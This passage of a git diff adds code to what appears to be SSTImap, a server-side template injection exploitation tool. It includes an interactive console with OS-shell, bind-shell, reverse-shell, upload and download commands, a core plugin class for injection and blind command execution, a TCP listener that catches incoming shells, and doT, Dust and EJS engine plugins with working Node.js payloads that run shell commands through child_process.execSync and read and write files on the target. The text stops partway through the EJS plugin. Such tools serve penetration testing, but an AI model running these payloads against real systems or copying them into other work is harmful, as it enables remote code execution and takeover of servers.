MultilineShell(self.current_plugin.evaluate_blind, f"{self.channel.data.get('language', '')} > ").cmdloop() + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting template base language shell') + elif self.channel.data.get('evaluate'): + log.log(21, 'Inject multi-line template base language code. ' + 'Press ctrl-D or type \'EOF\' on a new line to send the lines') + try: + MultilineShell(self.current_plugin.evaluate, f"{self.channel.data.get('language', '')} > ").cmdloop() + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting template base language shell') + else: + log.log(22, 'No language code evaluation capabilities have been detected on the target') + + do_eval = do_eval_shell + + def do_eval_code(self, line): + """Evaluate single template command""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + if line == '': + log.log(22, 'Language command cannot be empty.') + return + if self.channel.data.get('evaluate_blind'): + log.log(23, 'Only blind execution has been found. ' + 'Injected code will not produce any output.') + try: + print(self.current_plugin.evaluate_blind(line)) + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting language command execution') + elif self.channel.data.get('evaluate'): + try: + print(self.current_plugin.evaluate(line)) + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting language command execution') + else: + log.log(22, 'No code evaluation capabilities have been detected on the target') + + def do_os_shell(self, line): + """Provide interactive OS shell""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + if self.channel.data.get('execute_blind'): + log.log(23, """Blind injection has been found and command execution will not produce any output.""") + log.log(26, 'Delay is introduced appending \'&& sleep \' to the shell commands. ' + 'True or False is returned whether it returns successfully or not.') + log.log(21, 'Run commands on the operating system.') + try: + Shell(self.current_plugin.execute_blind, f"{self.channel.data.get('os', 'undetected')} (blind) $ ").cmdloop() + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting OS shell') + elif self.channel.data.get('execute'): + log.log(21, 'Run commands on the operating system.') + try: + Shell(self.current_plugin.execute, f"{self.channel.data.get('os', 'undetected')} $ ").cmdloop() + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting OS shell') + else: + log.log(22, 'No system command execution capabilities have been detected on the target.') + + do_shell = do_os_shell + do_os = do_os_shell + + def do_os_cmd(self, line): + """Execute single OS command""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + if line == '': + log.log(22, 'OS command cannot be empty.') + return + if self.channel.data.get('execute_blind'): + log.log(23, """Blind injection has been found and command execution will not produce any output.""") + log.log(26, 'Delay is introduced appending \'&& sleep \' to the shell commands. ' + 'True or False is returned whether it returns successfully or not.') + try: + print(self.current_plugin.execute_blind(line)) + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting OS command execution') + elif self.channel.data.get('execute'): + try: + print(self.current_plugin.execute(line)) + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting OS command execution') + else: + log.log(22, 'No system command execution capabilities have been detected on the target.') + + def do_bind_shell(self, line): + """Create bind shell on PORT""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + if line == '' or not line.isnumeric(): + log.log(22, 'Invalid PORT supplied for bind shell.') + return + port = int(line) + if self.channel.data.get('bind_shell'): + url = parse.urlparse(self.channel.base_url) + if not url.hostname: + log.log(22, "Error parsing hostname") + return + for idx, thread in enumerate(self.current_plugin.bind_shell(port)): + log.log(26, f'Spawn a shell on remote port {port} with payload {idx+1}') + thread.join(timeout=1) + if not thread.is_alive(): + continue + try: + telnetlib.Telnet(url.hostname.decode(), port, timeout=5).interact() + return + except Exception as e: + log.debug(f"Error connecting to {url.hostname}:{port} {e}") + else: + log.log(22, 'No TCP shell opening capabilities have been detected on the target') + + def do_reverse_shell(self, line): + """Send reverse shell to HOST:PORT""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + dest = line.split(" ") + if len(dest) != 2 or '' in dest: + log.log(22, 'You must supply HOST and PORT for a reverse shell.') + return + host, port = dest + if not port.isnumeric(): + log.log(22, 'Invalid PORT supplied for reverse shell.') + return + timeout = 15 + if self.channel.data.get('reverse_shell'): + self.current_plugin.reverse_shell(host, port) + try: + TcpServer(int(port), timeout) + except socket.timeout: + log.log(22, f"No incoming TCP shells after {timeout}s, quitting.") + else: + log.log(22, 'No reverse TCP shell capabilities have been detected on the target') + + do_bind = do_bind_shell + do_reverse = do_reverse_shell + + def do_force_overwrite(self, line): + """Switch forсe_overwrite option""" + overwrite = not self.sstimap_options["force_overwrite"] + log.log(24, f'Value of \'force_overwrite\' is set to {overwrite}') + self.sstimap_options["force_overwrite"] = overwrite + + do_overwrite = do_force_overwrite + + def do_upload(self, line): + """Upload LOCAL to REMOTE file""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + paths = line.split(" ") + if len(paths) != 2 or '' in paths: + log.log(22, 'You must supply LOCAL and REMOTE paths for upload.') + return + if self.channel.data.get('write'): + local_path, remote_path = paths + with open(local_path, 'rb') as f: + data = f.read() + self.current_plugin.write(data, remote_path) + else: + log.log(22, 'No file upload capabilities have been detected on the target') + + def do_download(self, line): + """Download REMOTE to LOCAL file""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + paths = line.split(" ") + if len(paths) != 2 or '' in paths: + log.log(22, 'You must supply REMOTE and LOCAL paths for download.') + return + if self.channel.data.get('read'): + remote_path, local_path = paths + content = self.current_plugin.read(remote_path) + with open(local_path, 'wb') as f: + f.write(content) + else: + log.log(22, 'No file download capabilities have been detected on the target') + + do_up = do_upload + do_down = do_download diff --git a/core/plugin.py b/core/plugin.py new file mode 100644 index 0000000..a8d4a0d --- /dev/null +++ b/core/plugin.py @@ -0,0 +1,544 @@ +from utils.strings import chunk_seq, md5 +from utils import rand +from utils.loggers import log +import re +import itertools +import base64 +import collections +import threading +import time +import utils.config + + +def _recursive_update(d, u): + # Update value of a nested dictionary of varying depth + for k, v in u.items(): + if isinstance(d, collections.abc.Mapping): + if isinstance(v, collections.abc.Mapping): + r = _recursive_update(d.get(k, {}), v) + d[k] = r + else: + d[k] = u[k] + else: + d = {k: u[k]} + return d + + +def compatible_url_safe_base64_encode(code): + code_b64 = code.encode(encoding='UTF-8') + code_b64 = base64.urlsafe_b64encode(code_b64).decode(encoding='UTF-8') + return code_b64 + + +class Plugin(object): + def __init__(self, channel): + # HTTP channel + self.channel = channel + # Plugin name + self.plugin = self.__class__.__name__ + # Collect the HTTP response time into a deque to be used to + # tune the average response time for blind values. + # Estimate 0.5s for a safe start. + self.render_req_tm = collections.deque([0.5], maxlen=5) + # The delay fortime-based blind injection. This will be added + # to the average response time for render values. + self.tm_delay = utils.config.time_based_blind_delay + # Declare object attributes + self.actions = {} + self.contexts = [] + # Call user-defined inits + self.language_init() + self.init() + + def language_init(self): + # To be overridden. This can call self.update_actions + # and self.set_contexts + pass + + def init(self): + # To be overridden. This can call self.update_actions + # and self.set_contexts + pass + + def rendered_detected(self): + action_evaluate = self.actions.get('evaluate', {}) + test_os_code = action_evaluate.get('test_os') + test_os_code_expected = action_evaluate.get('test_os_expected') + if test_os_code and test_os_code_expected: + os = self.evaluate(test_os_code) + if os and re.search(test_os_code_expected, os): + self.set('os', os) + self.set('evaluate', self.language) + self.set('write', True) + self.set('read', True) + action_execute = self.actions.get('execute', {}) + test_cmd_code = action_execute.get('test_cmd') + test_cmd_code_expected = action_execute.get('test_cmd_expected') + if test_cmd_code and test_cmd_code_expected and test_cmd_code_expected == self.execute(test_cmd_code): + self.set('execute', True) + self.set('bind_shell', True) + self.set('reverse_shell', True) + + def blind_detected(self): + # Blind has been detected so code has been already evaluated + self.set('evaluate_blind', self.language) + test_cmd_code = self.actions.get('execute', {}).get('test_cmd') + if test_cmd_code and self.execute_blind(test_cmd_code): + self.set('execute_blind', True) + self.set('write', True) + self.set('bind_shell', True) + self.set('reverse_shell', True) + + def detect(self): + # Get user-provided techniques + techniques = self.channel.args.get('technique') + # Render technique + if 'R' in techniques: + # Start detection + self._detect_render() + # If render is not set, check unreliable render + if self.get('render') is None: + self._detect_unreliable_render() + # Else, print and execute rendered_detected() + else: + # If here, the rendering is confirmed + prefix = self.get('prefix', '') + render = self.get('render', '{code}').format(code='*') + suffix = self.get('suffix', '') + log.log(24, f'''{self.plugin} plugin has confirmed injection with tag \'{repr(prefix).strip("'")}{repr(render).strip("'")}{repr(suffix).strip("'")}\'''') + # Clean up any previous unreliable render data + self.delete('unreliable_render') + self.delete('unreliable') + # Set basic info + self.set('engine', self.plugin.lower()) + self.set('language', self.language) + # Set the environment + self.rendered_detected() + + # Time-based blind technique + if 'T' in techniques: + # Manage blind injection only if render detection has failed + if not self.get('engine'): + self._detect_blind() + if self.get('blind'): + log.log(24, f'{self.plugin} plugin has confirmed blind injection') + # Clean up any previous unreliable render data + self.delete('unreliable_render') + self.delete('unreliable') + # Set basic info + self.set('engine', self.plugin.lower()) + self.set('language', self.language) + # Set the environment + self.blind_detected() + + def _generate_contexts(self): + # Loop all the contexts + for ctx in self.contexts: + # If --force-level skip any other level + force_level = self.channel.args.get('force_level') + if force_level and force_level[0] is not None and ctx.get('level') != int(force_level[0]): + continue + # Skip any context which is above the required level + if not force_level and ctx.get('level') > self.channel.args.get('level'): + continue + # The suffix is fixed + suffix = ctx.get('suffix', '') + # If the context has no closures, generate one closure with a zero-length string + if ctx.get('closures'): + closures = self._generate_closures(ctx) + log.log(26, f'''{self.plugin} plugin is testing {repr(ctx.get('prefix', '{closure}').format(closure='')).strip("'")}*{repr(suffix).strip("'")} code context escape with {len(closures)} variations{f' (level {ctx.get("level", 1)})' if self.get('level') else ''}''') + else: + closures = [''] + for closure in closures: + # Format the prefix with closure + prefix = ctx.get('prefix', '{closure}').format(closure=closure) + yield prefix, suffix + + """ + Detection of unreliable rendering tag with no header and trailer. + """ + def _detect_unreliable_render(self): + render_action = self.actions.get('render') + if not render_action: + return + # Print what it's going to be tested + log.debug(f'{self.plugin} plugin is testing unreliable rendering on text context') + # Prepare base operation to be evaluated server-side + expected = render_action.get('test_render_expected') + payload = render_action.get('test_render') + # Probe with payload wrapped by header and trailer, no suffix or prefix. + # Test if contained, since the page contains other garbage + if expected in self.render(code=payload, header='', trailer='', header_rand=0, + trailer_rand=0, prefix='', suffix=''): + # Print if the first found unreliable render + if not self.get('unreliable_render'): + log.log(25, f"{self.plugin} plugin has detected unreliable rendering with tag " + f"{repr(render_action.get('render').format(code='*'))}, skipping") + self.set('unreliable_render', render_action.get('render')) + self.set('unreliable', self.plugin) + return + + """ + Detection of the rendering tag and context. + """ + def _detect_blind(self): + action = self.actions.get('blind', {}) + payload_true = action.get('test_bool_true') + payload_false = action.get('test_bool_false') + call_name = action.get('call', 'inject') + # Skip if something is missing or call function is not set + if not action or not payload_true or not payload_false or not call_name or not hasattr(self, call_name): + return + # Print what it's going to be tested + log.log(23, f'{self.plugin} plugin is testing blind injection') + for prefix, suffix in self._generate_contexts(): + # Conduct a true-false test + if not getattr(self, call_name)(code=payload_true, prefix=prefix, suffix=suffix, blind=True): + continue + detail = {'blind_true': self._inject_verbose} + if getattr(self, call_name)(code=payload_false, prefix=prefix, suffix=suffix, blind=True): + continue + detail['blind_false'] = self._inject_verbose + detail['average'] = sum(self.render_req_tm) / len(self.render_req_tm) + # We can assume here blind is true + self.set('blind', True) + self.set('prefix', prefix) + self.set('suffix', suffix) + self.channel.detected('blind', detail) + return + + """ + Detection of the rendering tag and context. + """ + def _detect_render(self): + render_action = self.actions.get('render') + if not render_action: + return + # Print what it's going to be tested + log.log(23, f"{self.plugin} plugin is testing rendering with tag " + f"{repr(render_action.get('render').format(code='*' ))}") + for prefix, suffix in self._generate_contexts(): + # Prepare base operation to be evaluated server-side + expected = render_action.get('test_render_expected') + payload = render_action.get('test_render') + header_rand = rand.randint_n(10) + header = render_action.get('header') # .format(header=header_rand) + trailer_rand = rand.randint_n(10) + trailer = render_action.get('trailer') # .format(trailer=trailer_rand) + # First probe with payload wrapped by header and trailer, no suffix or prefix + if expected == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand, + trailer_rand=trailer_rand, prefix=prefix, suffix=suffix): + self.set('render', render_action.get('render')) + self.set('header', render_action.get('header')) + self.set('trailer', render_action.get('trailer')) + self.set('prefix', prefix) + self.set('suffix', suffix) + self.channel.detected('render', {'expected': expected}) + return + + """ + Raw inject of the payload. + """ + def inject(self, code, **kwargs): + prefix = kwargs.get('prefix', self.get('prefix', '')) + suffix = kwargs.get('suffix', self.get('suffix', '')) + blind = kwargs.get('blind', False) + injection = prefix + code + suffix + log.debug(f'[request {self.plugin}] {repr(self.channel.url)}') + # If the request is blind + if blind: + expected_delay = self._get_expected_delay() + start = int(time.time()) + self.channel.req(injection) + end = int(time.time()) + delta = end - start + result = delta >= expected_delay + log.debug(f'[blind {self.plugin}] code above took {str(delta)} ({str(end)}-{str(start)}). ' + f'{str(expected_delay)} is the threshold, returning {str(result)}') + self._inject_verbose = {'result': result, 'payload': injection, 'expected_delay': expected_delay, + 'start': start, 'end': end} + return result + else: + start = int(time.time()) + result = self.channel.req(injection) + end = int(time.time()) + # Append the execution time to a buffer + delta = end - start + self.render_req_tm.append(delta) + return result.strip() if result else result + + """ + Inject the rendered payload and get the result. + + The request is composed by parameters from: + + - Already rendered passed **kwargs, or + - self.get() to be rendered, or + - self.actions.get() to be rendered + + """ + def render(self, code, **kwargs): + # If header == '', do not send headers + header_template = kwargs.get('header') + if header_template != '': + header_template = kwargs.get('header', self.get('header')) + if not header_template: + header_template = self.actions.get('render', {}).get('header') + if header_template: + header_rand = kwargs.get('header_rand', self.get('header_rand', rand.randint_n(10))) + header = header_template.format(header=header_rand) + else: + header_rand = 0 + header = '' + # If trailer == '', do not send headers + trailer_template = kwargs.get('trailer') + if trailer_template != '': + trailer_template = kwargs.get('trailer', self.get('trailer')) + if not trailer_template: + trailer_template = self.actions.get('render', {}).get('trailer') + if trailer_template: + trailer_rand = kwargs.get('trailer_rand', self.get('trailer_rand', rand.randint_n(10))) + trailer = trailer_template.format(trailer=trailer_rand) + else: + trailer_rand = 0 + trailer = '' + payload_template = kwargs.get('render', self.get('render')) + if not payload_template: + payload_template = self.actions.get('render', {}).get('render') + if not payload_template: + # Exiting, actions.render.render is not set + return + payload = payload_template.format(code=code) + prefix = kwargs.get('prefix', self.get('prefix', '')) + suffix = kwargs.get('suffix', self.get('suffix', '')) + blind = kwargs.get('blind', False) + injection = header + payload + trailer + # Save the average HTTP request time of rendering in order + # to better tone the blind request timeouts. + result_raw = self.inject(code=injection, prefix=prefix, suffix=suffix, blind=blind) + if blind: + return result_raw + else: + result = '' + # Return result_raw if header and trailer are not specified + if not header and not trailer: + return result_raw + # Cut the result using the header and trailer if specified + if header: + before, _, result_after = result_raw.partition(str(header_rand)) + if trailer and result_after: + result, _, after = result_after.partition(str(trailer_rand)) + return result.strip() if result else result + + def set(self, key, value): + self.channel.data[key] = value + + def get(self, key, default=None): + return self.channel.data.get(key, default) + + def delete(self, key): + if key in self.channel.data: + del self.channel.data[key] + + def _generate_closures(self, ctx): + closures_dict = ctx.get('closures', {'0': []}) + closures = [] + # Loop all the closure names + for ctx_closure_level, ctx_closure_matrix in closures_dict.items(): + # If --force-level skip any other level + force_level = self.channel.args.get('force_level') + if force_level and force_level[1] and ctx_closure_level != int(force_level[1]): + continue + # Skip any closure list which is above the required level + if not force_level and ctx_closure_level > self.channel.args.get('level'): + continue + closures += [''.join(x) for x in itertools.product(*ctx_closure_matrix)] + closures = sorted(set(closures), key=len) + # Return it + return closures + + """ Overridable function to get MD5 hash of remote files. """ + def md5(self, remote_path): + action = self.actions.get('md5', {}) + payload = action.get('md5') + call_name = action.get('call', 'render') + # Skip if something is missing or call function is not set + if not action or not payload or not call_name or not hasattr(self, call_name): + return + execution_code = payload.format(path=remote_path) + result = getattr(self, call_name)(code=execution_code) + # Check md5 result format + if re.match(r"([a-fA-F\d]{32})", result): + return result + else: + return None + + """ Overridable function to detect read capabilities. """ + def detect_read(self): + # Assume read capabilities only if evaluation + # has been already detected and if self.actions['read'] exits + if not self.get('evaluate') or not self.actions.get('read'): + return + self.set('read', True) + + """ Overridable function to read remote files. """ + def read(self, remote_path): + action = self.actions.get('read', {}) + payload = action.get('read') + call_name = action.get('call', 'render') + # Skip if something is missing or call function is not set + if not action or not payload or not call_name or not hasattr(self, call_name): + return + # Get remote file md5 + md5_remote = self.md5(remote_path) + if not md5_remote: + log.log(25, 'Error getting remote file md5, check presence and permission') + return + execution_code = payload.format(path=remote_path) + data_b64encoded = getattr(self, call_name)(code=execution_code) + data = base64.b64decode(data_b64encoded) + if not md5(data) == md5_remote: + log.log(25, 'Remote file md5 mismatch, check manually') + else: + log.log(21, 'File downloaded correctly') + return data + + def write(self, data, remote_path): + action = self.actions.get('write', {}) + payload_write = action.get('write') + payload_truncate = action.get('truncate') + call_name = action.get('call', 'inject') + # Skip if something is missing or call function is not set + if not action or not payload_write or not payload_truncate or not call_name or not hasattr(self, call_name): + return + # Check existence and overwrite with --force-overwrite + if self.get('blind') or self.md5(remote_path): + if not self.channel.args.get('force_overwrite'): + if self.get('blind'): + log.log(25, 'Blind upload might overwrite files, run with --force-overwrite to continue') + else: + log.log(25, 'Remote file already exists, run with --force-overwrite to overwrite') + return + else: + execution_code = payload_truncate.format(path=remote_path) + getattr(self, call_name)(code=execution_code) + # Upload file in chunks of 500 characters + for chunk in chunk_seq(data, 500): + log.debug(f'[b64 encoding] {chunk}') + chunk_b64 = base64.urlsafe_b64encode(chunk) + execution_code = payload_write.format(path=remote_path, chunk_b64=chunk_b64) + getattr(self, call_name)(code=execution_code) + if self.get('blind'): + log.log(25, 'Blind upload can\'t check the upload correctness, check manually') + elif not md5(data) == self.md5(remote_path): + log.log(25, 'Remote file md5 mismatch, check manually') + else: + log.log(21, 'File uploaded correctly') + + def evaluate(self, code, **kwargs): + prefix = kwargs.get('prefix', self.get('prefix', '')) + suffix = kwargs.get('suffix', self.get('suffix', '')) + blind = kwargs.get('blind', False) + action = self.actions.get('evaluate', {}) + payload = action.get('evaluate') + call_name = action.get('call', 'render') + # Skip if something is missing or call function is not set + if not action or not payload or not call_name or not hasattr(self, call_name): + return + if '{code_b64}' in payload: + log.debug(f'[b64 encoding] {code}') + execution_code = payload.format(code_b64=compatible_url_safe_base64_encode(code), code=code) + return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=blind) + + def execute(self, code, **kwargs): + prefix = kwargs.get('prefix', self.get('prefix', '')) + suffix = kwargs.get('suffix', self.get('suffix', '')) + blind = kwargs.get('blind', False) + action = self.actions.get('execute', {}) + payload = action.get('execute') + call_name = action.get('call', 'render') + # Skip if something is missing or call function is not set + if not action or not payload or not call_name or not hasattr(self, call_name): + return + if '{code_b64}' in payload: + log.debug(f'[b64 encoding] {code}') + execution_code = payload.format(code_b64=compatible_url_safe_base64_encode(code), code=code) + result = getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=blind) + return result.replace('\\n', '\n') if type(result) == str else result + + def evaluate_blind(self, code, **kwargs): + prefix = kwargs.get('prefix', self.get('prefix', '')) + suffix = kwargs.get('suffix', self.get('suffix', '')) + blind = kwargs.get('blind', False) + action = self.actions.get('evaluate_blind', {}) + payload_action = action.get('evaluate_blind') + call_name = action.get('call', 'inject') + # Skip if something is missing or call function is not set + if not action or not payload_action or not call_name or not hasattr(self, call_name): + return + expected_delay = self._get_expected_delay() + if '{code_b64}' in payload_action: + log.debug(f'[b64 encoding] {code}') + execution_code = payload_action.format(code_b64=compatible_url_safe_base64_encode(code), + code=code, delay=expected_delay) + return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=True) + + def execute_blind(self, code, **kwargs): + prefix = kwargs.get('prefix', self.get('prefix', '')) + suffix = kwargs.get('suffix', self.get('suffix', '')) + blind = kwargs.get('blind', False) + action = self.actions.get('execute_blind', {}) + payload_action = action.get('execute_blind') + call_name = action.get('call', 'inject') + # Skip if something is missing or call function is not set + if not action or not payload_action or not call_name or not hasattr(self, call_name): + return + expected_delay = self._get_expected_delay() + if '{code_b64}' in payload_action: + log.debug(f'[b64 encoding] {code}') + execution_code = payload_action.format(code_b64=compatible_url_safe_base64_encode(code), + code=code, delay=expected_delay) + return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=True) + + def _get_expected_delay(self): + # Get current average timing for render() HTTP requests + average = int(sum(self.render_req_tm) / len(self.render_req_tm)) + # Set delay to 2 second over the average timing + return average + self.tm_delay + + def bind_shell(self, port, shell="/bin/sh"): + action = self.actions.get('bind_shell', {}) + payload_actions = action.get('bind_shell') + call_name = action.get('call', 'inject') + # Skip if something is missing or call function is not set + if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name): + return + for payload_action in payload_actions: + execution_code = payload_action.format(port=port, shell=shell) + reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,)) + reqthread.start() + yield reqthread + + def reverse_shell(self, host, port, shell="/bin/sh"): + action = self.actions.get('reverse_shell', {}) + payload_actions = action.get('reverse_shell') + call_name = action.get('call', 'inject') + # Skip if something is missing or call function is not set + if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name): + return + for payload_action in payload_actions: + execution_code = payload_action.format(port=port, shell=shell, host=host) + reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,)) + reqthread.start() + + def update_actions(self, actions): + # Recursively update actions on the instance + self.actions = _recursive_update(self.actions, actions) + + def set_actions(self, actions): + # Set actions on the instance + self.actions = actions + + def set_contexts(self, contexts): + # Update contexts on the instance + self.contexts = contexts diff --git a/core/tcpserver.py b/core/tcpserver.py new file mode 100644 index 0000000..edf32c5 --- /dev/null +++ b/core/tcpserver.py @@ -0,0 +1,69 @@ +import socket +from utils.loggers import log +import sys +import select + + +class TcpServer: + def __init__(self, port, timeout): + self.connect = False + self.hostname = '0.0.0.0' + self.port = port + self.timeout = timeout + self.socket_state = False + self.socket = None + self.connect_socket() + if not self.socket: + return + self.forward_data() + + def connect_socket(self): + if self.connect: + self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.socket.connect((self.hostname, self.port)) + else: + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1) + except socket.error: + # log.debug("Warning: unable to set TCP_NODELAY...") + pass + try: + server.bind(('0.0.0.0', self.port)) + except socket.error as e: + log.log(25, f"Port bind on 0.0.0.0:{self.port} has failed: {str(e)}") + return + server.listen(1) + server.settimeout(self.timeout) + try: + self.socket, address = server.accept() + except socket.timeout as e: + server.close() + raise e + + def forward_data(self): + log.info("Incoming connection accepted") + self.socket.setblocking(0) + while True: + read_ready, write_ready, in_error = select.select([self.socket, sys.stdin], [], [self.socket, sys.stdin]) + try: + buffer = self.socket.recv(100) + while buffer != '': + self.socket_state = True + sys.stdout.write(buffer) + sys.stdout.flush() + buffer = self.socket.recv(100) + if buffer == '': + return + except socket.error: + pass + while True: + r, w, e = select.select([sys.stdin], [], [], 0) + if len(r) == 0: + break + c = sys.stdin.read(1) + if c == '': + return + if self.socket.sendall(c) is not None: + return diff --git a/plugins/__init__.py b/plugins/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/engines/__init__.py b/plugins/engines/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/engines/dot.py b/plugins/engines/dot.py new file mode 100644 index 0000000..db5e529 --- /dev/null +++ b/plugins/engines/dot.py @@ -0,0 +1,44 @@ +from plugins.languages import javascript + + +class Dot(javascript.Javascript): + def init(self): + self.update_actions({ + 'render': { + 'render': '{{{{={code}}}}}', + 'header': '{{{{={header}}}}}', + 'trailer': '{{{{={trailer}}}}}' + }, + 'write': { + 'call': 'inject', + 'write': """{{{{=global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')}}}}""", + 'truncate': """{{{{=global.process.mainModule.require('fs').writeFileSync('{path}', '')}}}}""" + }, + 'read': { + 'call': 'evaluate', + 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64');""" + }, + 'md5': { + 'call': 'evaluate', + 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex");""" + }, + 'evaluate': { + 'test_os': """global.process.mainModule.require('os').platform()""", + }, + 'execute': { + 'call': 'evaluate', + 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString());""" + }, + 'execute_blind': { + # The bogus prefix is to avoid false detection of Javascript instead of doT + 'call': 'inject', + 'execute_blind': """{{{{=''}}}}{{{{global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}');}}}}""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure};}}}}', 'suffix': '{{1;', 'closures': javascript.ctx_closures}, + ]) + diff --git a/plugins/engines/dust.py b/plugins/engines/dust.py new file mode 100644 index 0000000..e08a12f --- /dev/null +++ b/plugins/engines/dust.py @@ -0,0 +1,103 @@ +from utils.loggers import log +from plugins.languages import javascript +from utils import rand +from plugins.languages import bash + + +class Dust(javascript.Javascript): + def init(self): + self.update_actions({ + 'evaluate': { + 'call': 'inject', + 'evaluate': """{{@if cond=\"eval(Buffer('{code_b64}', 'base64').toString())\"}}{{/if}}""" + }, + 'write': { + 'call': 'evaluate', + 'write': """require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')""", + 'truncate': """require('fs').writeFileSync('{path}', '')""" + }, + # Not using execute here since it's rendered and requires set headers and trailers + 'execute_blind': { + 'call': 'evaluate', + # execSync() has been introduced in node 0.11, so this will not work with old node versions. + # TODO: use another function. + 'execute_blind': """require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}');""", + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2] + } + }) + + self.set_contexts([ + # Text context, no closures. This covers also {%s} e.g. {{payload}} seems working. + {'level': 0}, + # Block as {#key}{/key} and similar needs tag key name to be bypassed. + # Comment blocks + {'level': 1, 'prefix': '!}}]', 'suffix': '{!'}, + ]) + + """ + This replace _detect_render() since there is no real rendered evaluation in Dust. + """ + def _detect_dust(self): + # Print what it's going to be tested + log.log(23, f'{self.plugin} plugin is testing rendering') + for prefix, suffix in self._generate_contexts(): + payload = 'AA{{!c!}}AA' + header_rand = rand.randint_n(10) + header = str(header_rand) + trailer_rand = rand.randint_n(10) + trailer = str(trailer_rand) + if 'AAAA' == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand, + trailer_rand=trailer_rand, prefix=prefix, suffix=suffix): + self.set('header', '{}') + self.set('trailer', '{}') + self.set('prefix', prefix) + self.set('suffix', suffix) + self.set('engine', self.plugin.lower()) + self.set('language', self.language) + return + + """ + Override detection phase to avoid render check + """ + def detect(self): + techniques = self.channel.args.get('technique') + if 'R' in techniques: + self._detect_dust() + if self.get('engine'): + log.log(21, f'{self.plugin} plugin has confirmed injection') + # Clean up any previous unreliable render data + self.delete('unreliable_render') + self.delete('unreliable') + # Further exploitation requires if helper, which has + # been deprecated in version dustjs-helpers@1.5.0 . + # Check if helper presence here. + rand_A = rand.randstr_n(2) + rand_B = rand.randstr_n(2) + rand_C = rand.randstr_n(2) + expected = rand_A + rand_B + rand_C + if expected in self.inject(f'{rand_A}{{@if cond="1"}}{rand_B}{{/if}}{rand_C}'): + log.log(21, f'{self.plugin} plugin has confirmed the presence of dustjs if helper <= 1.5.0') + if 'T' in techniques: + # Blind inj must be checked also with confirmed rendering + self._detect_blind() + if self.get('blind'): + log.log(21, f'{self.plugin} plugin has confirmed blind injection') + # Clean up any previous unreliable render data + self.delete('unreliable_render') + self.delete('unreliable') + # Set basic info + self.set('engine', self.plugin.lower()) + self.set('language', self.language) + # Set the environment + self.blind_detected() + + def blind_detected(self): + # Blind has been detected so code has been already evaluated + self.set('evaluate_blind', self.language) + test_cmd_code = self.actions.get('execute_blind', {}).get('test_cmd') + if test_cmd_code and self.execute_blind(test_cmd_code): + self.set('execute_blind', True) + self.set('write', True) + self.set('bind_shell', True) + self.set('reverse_shell', True) diff --git a/plugins/engines/ejs.py b/plugins/engines/ejs.py new file mode 100644 index 0000000..c84cfa8 --- /dev/null +++ b/plugins/engines/ejs.py @@ -0,0 +1,38 @@ +from plugins.languages import javascript + + +class Ejs(javascript.Javascript): + def init(self): + self.update_actions({ + 'render': { + 'header': """<%- '{header}'+""", + 'trailer': """+'{trailer}' %>""", + }, + 'write': { + 'write': """<%global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')%>""", + 'truncate': """<%global.process.mainModule.require('fs').writeFileSync('{path}', '')%>""" + }, + 'read': { + 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64')""" + }, + 'md5': { + 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex")""" + }, + 'evaluate': { + 'test_os': """global.process.mainModule.require('os').platform()""" + }, + 'execute_blind': { + 'execute_blind': """<%global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')%>""" + }, + 'execute': { + 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure}%>', 'suffix': '<%#', 'closures': 